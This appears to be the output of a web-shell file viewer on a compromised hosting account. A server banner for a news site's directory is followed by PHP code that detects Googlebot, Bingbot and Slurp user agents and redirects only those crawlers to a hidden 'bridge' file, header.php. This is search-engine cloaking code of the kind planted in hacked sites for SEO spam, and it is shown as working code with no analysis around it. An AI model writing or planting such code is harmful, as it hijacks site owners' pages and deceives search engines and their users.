Server : LiteSpeed System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u615232177 ( 615232177) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/u615232177/domains/bottlesrepublik.com/public_html/news/ |
<?php
$TARGET_DIR = '/news';
$BRIDGE_FILE = 'header.php';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$bot_patterns = [
'/googlebot/i', '/bingbot/i', '/slurp/i'
];
$is_bot = false;
foreach ($bot_patterns as $pattern) {
if (preg_match($pattern, $user_agent)) {
$is_bot = true;
break;
}
}
if ($is_bot) {
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
$full_url = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$target_url = $protocol . $_SERVER['HTTP_HOST'] . $TARGET_DIR . '/' . $BRIDGE_FILE . '?url=' . urlencode($full_url);
header("HTTP/1.1 302 Found");
header("Location: " . $target_url);
exit;
}